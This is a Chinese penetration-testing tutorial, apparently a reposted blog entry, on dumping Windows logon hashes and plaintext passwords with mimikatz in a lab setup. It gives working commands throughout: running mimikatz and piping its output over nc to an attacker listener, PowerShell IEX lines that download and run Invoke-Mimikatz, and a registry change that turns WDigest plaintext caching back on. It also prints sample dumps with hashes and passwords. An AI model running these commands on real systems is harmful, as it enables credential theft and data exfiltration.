Windows 用户密码的加密方法与破解(二、Windows Hash 抓取mimikatz)

艺帆风顺 发布于 2025-04-03 23 次阅读


Windows Hash 抓取

mimikatz

项目地址:https://github.com/gentilkiwi/mimikatz

Mimikatz 是一个开源的项目,用于 Windows 下读取已经登录过的用户 Hash 和明文密码,要顺利的读取密码必须具有 Admin 或者 System 权限,所以它也是内网渗透神器之一。

本地交互式抓取

运行 mimikatz.exe,弹出 mimikatz 的窗口,输入如下命令:

显示您是否具有适当的权限来继续:

mimikatz # privilege::debug

启动日志记录功能:

mimikatz # log

输出存储在此计算机上的所有明文密码:

mimikatz # sekurlsa::logonpasswords

此时会在当前 shell 运行的目录下生成 mimikatz.log,这里面记录了抓取密码的一些详细情况。

本地非交互式抓取

在高权限的 CMD 命令行下直接运行:

mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit > mimikatz.txt

此时会在当前 shell 运行的目录下生成 mimikatz.txt,这里面记录了抓取密码的一些详细情况。

远程非交互式抓取

实验环境

设备详情IP 地址担任角色
macOS10.211.55.2攻击者
Windows 7 SP 110.211.55.12被攻击者

本次实验使用 ncat 来做消息反弹,不知道 ncat 命令的同学可以参考我的这篇文章:nc 命令学习记录

macOS

macOS 本机提前做好监听:

ncat -lvp 2333

国光我本人更喜欢 ncat 命令多一点,具体看个人喜好。

Windows

这里为了方便我把 nc.exe 上传到了 mimikatz.exe 的同目录下了:

C:mimikatz_trunkx64>mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit | nc -v 10.211.55.2 2333

DNS fwd/rev mismatch: GG != GG.lan
GG [10.211.55.2] 2333 (?) open

效果

这样操作完成后,即不在目标系统上留下任何文件,直接把抓取到的结果用 nc 发送到指定的远程机,此时 macOS 这边已经拿到返回的密码信息了:

powershell 加载 mimikatz 抓取

目标机器可以连接外网的情况下:

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz

内网的情况下可将脚本下载下来,自己搭建一个本地的 Web 服务器,通过内网 IP 去访问:

powershell IEX (New-Object Net.WebClient).DownloadString('http://10.211.55.2/Invoke-Mimikatz.ps1'); Invoke-Mimikatz

各个系统版本的抓取样本

Windows Server 2003 R2

Authentication Id : 0 ; 420302 (00000000:000669ce)
Session : Interactive from 0
User Name : Administrator
Domain : GG6043
Logon Server : GG6043
Logon Time : 2019-11-18 20:51:21
SID : S-1-5-21-3664143716-1376148344-336540569-500
msv :
[00000002] Primary
* Username : Administrator
* Domain : GG6043
* LM : 896108c0bbf35b5caad3b435b51404ee
* NTLM : f6502cbe4802f94ab472288970c124cd
* SHA1 : 669c9b60b44e10aaa8784563c9a5381c9300235a
wdigest :
* Username : Administrator
* Domain : GG6043
* Password : P@ss123
kerberos :
* Username : Administrator
* Domain : GG6043
* Password : P@ss123
ssp :
credman :

主要有如下的关键信息:

类型
用户名Administrator
明文P@ss123
LM896108c0bbf35b5caad3b435b51404ee
NTLMf6502cbe4802f94ab472288970c124cd

Windows Server 2008 R2

主要有如下的关键信息:

类型
用户名Administrator
明文P@ss123
LM896108c0bbf35b5caad3b435b51404ee
NTLMf6502cbe4802f94ab472288970c124cd

Windows Server 2008 R2

Windows Server 2008 R2 默认的配置还是可以读取到 LM 类型的 Hash 的,与网上的理论不符合,说明 WIndows Server 2008 R2 与 Windows 7 依然没有完全禁用掉 LM 类型的 Hash

Authentication Id : 0 ; 2006207 (00000000:001e9cbf)
Session : Interactive from 2
User Name : Administrator
Domain : GG37BE
Logon Server : GG37BE
Logon Time : 2019/11/18 22:36:13
SID : S-1-5-21-1996198258-1617865379-4184567355-500
msv :
[00000003] Primary
* Username : Administrator
* Domain : GG37BE
* LM : 921988ba001dc8e14a3b108f3fa6cb6d
* NTLM : e19ccf75ee54e06b06a5907af13cef42
* SHA1 : 9131834cf4378828626b1beccaa5dea2c46f9b63
tspkg :
* Username : Administrator
* Domain : GG37BE
* Password : P@ssw0rd
wdigest :
* Username : Administrator
* Domain : GG37BE
* Password : P@ssw0rd
kerberos :
* Username : Administrator
* Domain : GG37BE
* Password : P@ssw0rd
ssp :
credman :

主要有如下的关键信息:

类型
用户名Administrator
明文P@ssw0rd
LM921988ba001dc8e14a3b108f3fa6cb6d
NTLMe19ccf75ee54e06b06a5907af13cef42

Windows 10 1903

Authentication Id : 0 ; 86025756 (00000000:0520a61c)
Session : Interactive from 9
User Name : sqlsec
Domain : MACBOOKPRO
Logon Server : MACBOOKPRO
Logon Time : 2019/11/18 20:06:24
SID : S-1-5-21-2097287409-4065191294-224695044-1000
msv :
[00000003] Primary
* Username : sqlsec
* Domain : MACBOOKPRO
* NTLM : f00a25418f128daaef2bc89ed94416bd
* SHA1 : 56d7741bca89552362fd24d11bb8980e3d8a444c
tspkg :
wdigest :
* Username : sqlsec
* Domain : MACBOOKPRO
* Password : (null)
kerberos :
* Username : sqlsec
* Domain : MACBOOKPRO
* Password : (null)
ssp :
credman :

主要有如下的关键信息:

类型
用户名sqlsec
明文空 这里没有读取到
NTLMf00a25418f128daaef2bc89ed94416bd

Windows 10 无法使用 mimikatz 读取到明文密码,只能直接读取到加密后的 NTLM 值。

补充

评论下面的网友「语冰」补充了一些姿势点,评论原文如下:

写的挺全,不过少了一个抓明文的知识点,无法使用 mimikatz 读取到明文密码是因为微软在 Win7 之后就打了补丁 KB2871997,当服务器安装 KB2871997 补丁后,系统默认禁用 Wdigest Auth ,内存(lsass 进程)不再保存明文口令,mimikatz 就读不到密码明文,但是该选项是可以手动开启:

reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
版权声明:本文内容始发于个人博客>作者 : 国光,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行可。始发链接:https://www.sqlsec.com/2019/11/winhash.html#mimikatz在此特别鸣谢:个人博主>国光的创作。本文已获原作者国光授权发布在本公众号;原作者已在本公众号关联运营账号(安全小姿势),故在此声明本文原创为国光(安全小姿势)。此篇文章的所有版权归原作者所有,商业转载建议请联系原作者,非商业转载请注明出处。